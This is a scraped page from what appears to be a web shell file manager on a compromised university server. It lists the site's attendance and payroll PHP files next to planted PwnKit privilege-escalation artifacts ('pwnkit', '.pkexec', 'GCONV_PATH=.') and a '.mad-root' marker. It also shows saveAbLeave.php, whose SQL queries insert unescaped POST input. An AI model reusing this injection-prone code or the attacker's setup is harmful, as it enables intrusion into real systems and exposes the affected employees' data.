Gecko [ nrupathungauniversityblr.ac.in ]

Name	Size	Permission
.pkexec	[ DIR ]	drwxr-xr-x
GCONV_PATH=.	[ DIR ]	drwxr-xr-x
.api.php	3.61 KB	-rw-r--r--
.mad-root	0 B	-rw-r--r--
api_sendsms.php	1.08 KB	-rw-rw-r--
checkin.php	3.42 KB	-rw-r--r--
checkout.php	3.06 KB	-rw-r--r--
clientDet.php	2.42 KB	-rw-rw-r--
employeelist.php	599 B	-rw-rw-r--
expenses.php	4.93 KB	-rw-rw-r--
getAttendance.php	1.33 KB	-rwxr-xr-x
getAttnStatus.php	1.16 KB	-rw-r--r--
getDept.php	477 B	-rwxr-xr-x
getEmpAttListDetDaily.php	1.41 KB	-rwxr-xr-x
getEmpAttListSummary.php	1.45 KB	-rwxr-xr-x
getEmpListForLeave.php	1.16 KB	-rwxr-xr-x
getMyAttendanceList.php	983 B	-rwxr-xr-x
login.php	2.49 KB	-rwxr-xr-x
notification_disp.php	1.26 KB	-rw-r--r--
push.php	2.37 KB	-rw-rw-r--
pwnkit	10.99 KB	-rwxr-xr-x
saveAbLeave.php	2.22 KB	-rwxr-xr-x
saveAttendace.php	3.18 KB	-rwxr-xr-x
sys_connect.php	702 B	-rwxr-xr-x
taskreminder.php	8.64 KB	-rw-rw-r--
updsalary.php	832 B	-rw-r--r--
workentry.php	9.19 KB	-rw-rw-r--

Code Editor : saveAbLeave.php

<?php

include("sys_connect.php");
if(!isset($_POST["emplcode"]) || !isset($_POST["deptcode"]) 
|| !isset($_POST["attstatus"]) || !isset($_POST["fromdate"])
|| !isset($_POST["todate"]) || !isset($_POST["loguser"]) 
|| $_POST["emplcode"] == "" || $_POST["deptcode"] == ""
|| $_POST["attstatus"] == "" || $_POST["fromdate"] == ""
|| $_POST["todate"] == "" || $_POST["loguser"] == "" ){
    echo json_encode(array("msg" => "Invalid Params", "error_code" => -1));
    die();    
}

$emplcode = $_POST["emplcode"];
$deptcode = $_POST["deptcode"];
$attstatus = $_POST["attstatus"];
$fromdate = $_POST["fromdate"];
$todate = $_POST["todate"];
$loguser = $_POST["loguser"];

if($fromdate < date('Y-m-d') || $todate < date('Y-m-d')) {
    echo json_encode(array("msg" => "Dates should be greater than or equal to current date",
         "error_code" => -1));
    die();    
}

$begin = new DateTime($fromdate);
$end = new DateTime($todate);
$cur = new DateTime(date('Y-m-d'));
$cur->modify('+30 day');

if($begin > $cur || $end > $cur ) {
    echo json_encode(array("msg" => "Dates should be within 30 days.",
         "error_code" => -1));
    die();    
}

$end->modify('+1 day');

$interval = DateInterval::createFromDateString('1 day');
$period = new DatePeriod($begin, $interval, $end);

foreach ($period as $dt) {
    $date = $dt->format("Y-m-d");
    $query = "select * from attendance where fattndate = '{$date}' 
            and femplcode = '{$emplcode}'";
    $myres = mysqli_query($mycon, $query);
    $mycnt = mysqli_num_rows($myres);
    if($mycnt > 0) {
        echo json_encode(array("error_code" => -1, 
            'msg' => "Attendance marked for the date {$dt->format("d-m-Y")}. Modification not allowed" )); 
        break;
    }
    else {
        $query = "insert into attendance(fattndate, fdeptcode, femplcode, fattnstat, fupdtuser, fupdttime )
        values('{$date}', '{$deptcode}', '{$emplcode}', '{$attstatus}', '{$loguser}', now())";
        // var_dump($query);
        $res = mysqli_query($mycon, $query);
        if($res) {
            echo json_encode(array("error_code" => 0, 'msg' => "Updated Successfully." ));
        } else {
            echo json_encode(array("error_code" => -1, 'msg' => "Error While Updating" ));
        }
    }
}

${this.title}

Code Editor : saveAbLeave.php